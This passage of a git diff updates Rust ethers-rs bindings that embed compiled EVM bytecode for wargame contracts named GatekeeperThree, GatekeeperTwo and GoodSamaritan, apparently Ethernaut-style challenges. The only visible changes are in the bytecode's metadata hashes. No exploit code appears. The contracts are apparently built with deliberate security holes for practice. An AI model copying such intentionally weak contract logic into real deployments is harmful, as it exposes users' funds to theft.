\x01a\0\xB8V[4\x80\x15a\x01\x05W`\0\x80\xFD[P`\0Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01%W`\0\x80\xFD[P`\x01Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01EW`\0\x80\xFD[Pa\x01]`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[\0[4\x80\x15a\x01kW`\0\x80\xFD[Pa\x01]a\x01z6`\x04a\x03\x8AV[a\x01\xA9V[4\x80\x15a\x01\x8BW`\0\x80\xFD[Pa\x01]a\x024V[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01]a\x02\xD3V[`\x02T`@Qc\x9EK.G`\xE0\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\x9EK.G\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xF4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x18\x91\x90a\x03\xA3V[\x15a\x021W`\x01\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90U[PV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02KW`\0\x80\xFD[`\0T`\x01`\x01`\xA0\x1B\x03\x162\x03a\x02bW`\0\x80\xFD[`\x01\x80T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x15\x15\x14a\x02|W`\0\x80\xFD[f\x03\x8D~\xA4\xC6\x80\0G\x11\x80\x15a\x02\xB9WP`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x91\x90f\x03\x8D~\xA4\xC6\x80\0\x90\x82\x81\x81\x81\x85\x88\x83\xF1\x15\x93PPPP[\x15a\x02\xD1W`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U[V[0`@Qa\x02\xE0\x90a\x03}V[`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\x03\x0CW=`\0\x80>=`\0\xFD[P`\x02\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x82\x17\x90U`@\x80QcL\xBB\x81\x7F`\xE0\x1B\x81R\x90QcL\xBB\x81\x7F\x91`\x04\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x03cW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03wW=`\0\x80>=`\0\xFD[PPPPV[a\x02p\x80a\x03\xCD\x839\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x03\x9CW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x03\xB5W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x03\xC5W`\0\x80\xFD[\x93\x92PPPV\xFE`\x80`@RB`\x02U4\x80\x15a\0\x14W`\0\x80\xFD[P`@Qa\x02p8\x03\x80a\x02p\x839\x81\x01`@\x81\x90Ra\x003\x91a\0XV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x88V[`\0` \x82\x84\x03\x12\x15a\0jW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x81W`\0\x80\xFD[\x93\x92PPPV[a\x01\xD9\x80a\0\x97`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 J\x83\xB4\xCB\xBC\xE1\xD5>\xA1Wz\xD5H\xF3\xB8\xF1\x91*<\xDBgP\xA3W\xDFn\xA8\x14|1\xCC\xB3dsolcC\0\x08\x15\x003\xA2dipfsX\"\x12 4~\x85\x8DNY\x9E\x90%\xD5v2\0\t\xE6Ek\xEC?\x91\x83f=\xB3b\x01\x93\x88\x81\x98x\x16dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static GATEKEEPERTHREE_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0\x7FW`\x005`\xE0\x1C\x80c\xB9\x96nV\x11a\0NW\x80c\xB9\x96nV\x14a\x019W\x80c\xC9`\x17N\x14a\x01_W\x80c\xE9}\xCBb\x14a\x01\x7FW\x80c\xF7\xED\xF0\x99\x14a\x01\x94W`\0\x80\xFD[\x80c\x0C=\x9F\xED\x14a\0\x8BW\x80ci\r\xA2\xB2\x14a\0\xC1W\x80c\x8D\xA5\xCB[\x14a\0\xF9W\x80c\x9D\xB3\x1Dw\x14a\x01\x19W`\0\x80\xFD[6a\0\x86W\0[`\0\x80\xFD[4\x80\x15a\0\x97W`\0\x80\xFD[P`\x01Ta\0\xAC\x90`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xCDW`\0\x80\xFD[P`\x02Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0\xB8V[4\x80\x15a\x01\x05W`\0\x80\xFD[P`\0Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01%W`\0\x80\xFD[P`\x01Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01EW`\0\x80\xFD[Pa\x01]`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[\0[4\x80\x15a\x01kW`\0\x80\xFD[Pa\x01]a\x01z6`\x04a\x03\x8AV[a\x01\xA9V[4\x80\x15a\x01\x8BW`\0\x80\xFD[Pa\x01]a\x024V[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01]a\x02\xD3V[`\x02T`@Qc\x9EK.G`\xE0\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\x9EK.G\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xF4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x18\x91\x90a\x03\xA3V[\x15a\x021W`\x01\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90U[PV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02KW`\0\x80\xFD[`\0T`\x01`\x01`\xA0\x1B\x03\x162\x03a\x02bW`\0\x80\xFD[`\x01\x80T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x15\x15\x14a\x02|W`\0\x80\xFD[f\x03\x8D~\xA4\xC6\x80\0G\x11\x80\x15a\x02\xB9WP`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x91\x90f\x03\x8D~\xA4\xC6\x80\0\x90\x82\x81\x81\x81\x85\x88\x83\xF1\x15\x93PPPP[\x15a\x02\xD1W`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U[V[0`@Qa\x02\xE0\x90a\x03}V[`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\x03\x0CW=`\0\x80>=`\0\xFD[P`\x02\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x82\x17\x90U`@\x80QcL\xBB\x81\x7F`\xE0\x1B\x81R\x90QcL\xBB\x81\x7F\x91`\x04\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x03cW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03wW=`\0\x80>=`\0\xFD[PPPPV[a\x02p\x80a\x03\xCD\x839\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x03\x9CW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x03\xB5W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x03\xC5W`\0\x80\xFD[\x93\x92PPPV\xFE`\x80`@RB`\x02U4\x80\x15a\0\x14W`\0\x80\xFD[P`@Qa\x02p8\x03\x80a\x02p\x839\x81\x01`@\x81\x90Ra\x003\x91a\0XV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x88V[`\0` \x82\x84\x03\x12\x15a\0jW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x81W`\0\x80\xFD[\x93\x92PPPV[a\x01\xD9\x80a\0\x97`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x1E\xAC\x13)\x06\x0B\x9D\xCB\xACw\xB0Fb\xA1\x7F\xD7\xFE)#\xD2\x97J\xC6\xC1^&\t\xDBB\xDD\x88~dsolcC\0\x08\x15\x003\xA2dipfsX\"\x12 feD\xEC\"Sw\xE2\x0E\xB3\xD7\xC2T>\xF0\xAD\xB1@#yBQ4\xBE\x95\x95,sf!\x87\xB1dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0\x7FW`\x005`\xE0\x1C\x80c\xB9\x96nV\x11a\0NW\x80c\xB9\x96nV\x14a\x019W\x80c\xC9`\x17N\x14a\x01_W\x80c\xE9}\xCBb\x14a\x01\x7FW\x80c\xF7\xED\xF0\x99\x14a\x01\x94W`\0\x80\xFD[\x80c\x0C=\x9F\xED\x14a\0\x8BW\x80ci\r\xA2\xB2\x14a\0\xC1W\x80c\x8D\xA5\xCB[\x14a\0\xF9W\x80c\x9D\xB3\x1Dw\x14a\x01\x19W`\0\x80\xFD[6a\0\x86W\0[`\0\x80\xFD[4\x80\x15a\0\x97W`\0\x80\xFD[P`\x01Ta\0\xAC\x90`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xCDW`\0\x80\xFD[P`\x02Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0\xB8V[4\x80\x15a\x01\x05W`\0\x80\xFD[P`\0Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01%W`\0\x80\xFD[P`\x01Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01EW`\0\x80\xFD[Pa\x01]`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[\0[4\x80\x15a\x01kW`\0\x80\xFD[Pa\x01]a\x01z6`\x04a\x03\x8AV[a\x01\xA9V[4\x80\x15a\x01\x8BW`\0\x80\xFD[Pa\x01]a\x024V[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01]a\x02\xD3V[`\x02T`@Qc\x9EK.G`\xE0\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\x9EK.G\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xF4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x18\x91\x90a\x03\xA3V[\x15a\x021W`\x01\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90U[PV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02KW`\0\x80\xFD[`\0T`\x01`\x01`\xA0\x1B\x03\x162\x03a\x02bW`\0\x80\xFD[`\x01\x80T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x15\x15\x14a\x02|W`\0\x80\xFD[f\x03\x8D~\xA4\xC6\x80\0G\x11\x80\x15a\x02\xB9WP`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x91\x90f\x03\x8D~\xA4\xC6\x80\0\x90\x82\x81\x81\x81\x85\x88\x83\xF1\x15\x93PPPP[\x15a\x02\xD1W`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U[V[0`@Qa\x02\xE0\x90a\x03}V[`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\x03\x0CW=`\0\x80>=`\0\xFD[P`\x02\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x82\x17\x90U`@\x80QcL\xBB\x81\x7F`\xE0\x1B\x81R\x90QcL\xBB\x81\x7F\x91`\x04\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x03cW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03wW=`\0\x80>=`\0\xFD[PPPPV[a\x02p\x80a\x03\xCD\x839\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x03\x9CW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x03\xB5W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x03\xC5W`\0\x80\xFD[\x93\x92PPPV\xFE`\x80`@RB`\x02U4\x80\x15a\0\x14W`\0\x80\xFD[P`@Qa\x02p8\x03\x80a\x02p\x839\x81\x01`@\x81\x90Ra\x003\x91a\0XV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x88V[`\0` \x82\x84\x03\x12\x15a\0jW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x81W`\0\x80\xFD[\x93\x92PPPV[a\x01\xD9\x80a\0\x97`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 J\x83\xB4\xCB\xBC\xE1\xD5>\xA1Wz\xD5H\xF3\xB8\xF1\x91*<\xDBgP\xA3W\xDFn\xA8\x14|1\xCC\xB3dsolcC\0\x08\x15\x003\xA2dipfsX\"\x12 4~\x85\x8DNY\x9E\x90%\xD5v2\0\t\xE6Ek\xEC?\x91\x83f=\xB3b\x01\x93\x88\x81\x98x\x16dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static GATEKEEPERTHREE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/gatekeeper_two.rs b/ctf/src/abi/gatekeeper_two.rs index 86417d3..f895aa4 100644 --- a/ctf/src/abi/gatekeeper_two.rs +++ b/ctf/src/abi/gatekeeper_two.rs @@ -77,12 +77,12 @@ pub mod gatekeeper_two { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x01\x8B\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01$V[a\0\x8EV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0v\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\x9CW`\0\x80\xFD[3;\x80\x15a\0\xA9W`\0\x80\xFD[`@Qk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x193``\x1B\x16` \x82\x01R\x83\x90g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90`\xC0\x83\x90\x1C\x90`4\x01`@Q` \x81\x83\x03\x03\x81R\x90`@R\x80Q\x90` \x01 `\xC0\x1C\x18g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x14a\x01\x07W`\0\x80\xFD[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U`\x01\x92PPP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x016W`\0\x80\xFD[\x815`\x01`\x01`\xC0\x1B\x03\x19\x81\x16\x81\x14a\x01NW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x13'\xD7\xB9\x1B\xB1\xE5\xBCw\xCF\xCF\x8D\xA8\xED\xC8\xAA\xB7\xAC\x9F\xCA\xDD\x15@\xF5~\x9E'z\xCD\x9D\xD0\ndsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x01\x8B\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01$V[a\0\x8EV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0v\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\x9CW`\0\x80\xFD[3;\x80\x15a\0\xA9W`\0\x80\xFD[`@Qk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x193``\x1B\x16` \x82\x01R\x83\x90g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90`\xC0\x83\x90\x1C\x90`4\x01`@Q` \x81\x83\x03\x03\x81R\x90`@R\x80Q\x90` \x01 `\xC0\x1C\x18g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x14a\x01\x07W`\0\x80\xFD[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U`\x01\x92PPP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x016W`\0\x80\xFD[\x815`\x01`\x01`\xC0\x1B\x03\x19\x81\x16\x81\x14a\x01NW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xAF\x83$\xF0G%\xFDY\xEEk\x82E~|\xED\xAB\x8D\x8CU;\xD6\xD4hLtX\x03\x06\x0C\xEF#IdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static GATEKEEPERTWO_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01$V[a\0\x8EV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0v\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\x9CW`\0\x80\xFD[3;\x80\x15a\0\xA9W`\0\x80\xFD[`@Qk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x193``\x1B\x16` \x82\x01R\x83\x90g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90`\xC0\x83\x90\x1C\x90`4\x01`@Q` \x81\x83\x03\x03\x81R\x90`@R\x80Q\x90` \x01 `\xC0\x1C\x18g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x14a\x01\x07W`\0\x80\xFD[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U`\x01\x92PPP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x016W`\0\x80\xFD[\x815`\x01`\x01`\xC0\x1B\x03\x19\x81\x16\x81\x14a\x01NW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x13'\xD7\xB9\x1B\xB1\xE5\xBCw\xCF\xCF\x8D\xA8\xED\xC8\xAA\xB7\xAC\x9F\xCA\xDD\x15@\xF5~\x9E'z\xCD\x9D\xD0\ndsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x01$V[a\0\x8EV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0v\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\x9CW`\0\x80\xFD[3;\x80\x15a\0\xA9W`\0\x80\xFD[`@Qk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x193``\x1B\x16` \x82\x01R\x83\x90g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90`\xC0\x83\x90\x1C\x90`4\x01`@Q` \x81\x83\x03\x03\x81R\x90`@R\x80Q\x90` \x01 `\xC0\x1C\x18g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x14a\x01\x07W`\0\x80\xFD[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U`\x01\x92PPP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x016W`\0\x80\xFD[\x815`\x01`\x01`\xC0\x1B\x03\x19\x81\x16\x81\x14a\x01NW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xAF\x83$\xF0G%\xFDY\xEEk\x82E~|\xED\xAB\x8D\x8CU;\xD6\xD4hLtX\x03\x06\x0C\xEF#IdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static GATEKEEPERTWO_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/good_samaritan.rs b/ctf/src/abi/good_samaritan.rs index d735c9e..73b3f62 100644 --- a/ctf/src/abi/good_samaritan.rs +++ b/ctf/src/abi/good_samaritan.rs @@ -89,12 +89,12 @@ pub mod good_samaritan { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\0\x1D\x90a\x01\rV[`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\09W=`\0\x80>=`\0\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x82\x17\x90U`@Qa\0e\x90a\x01\x1AV[`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` 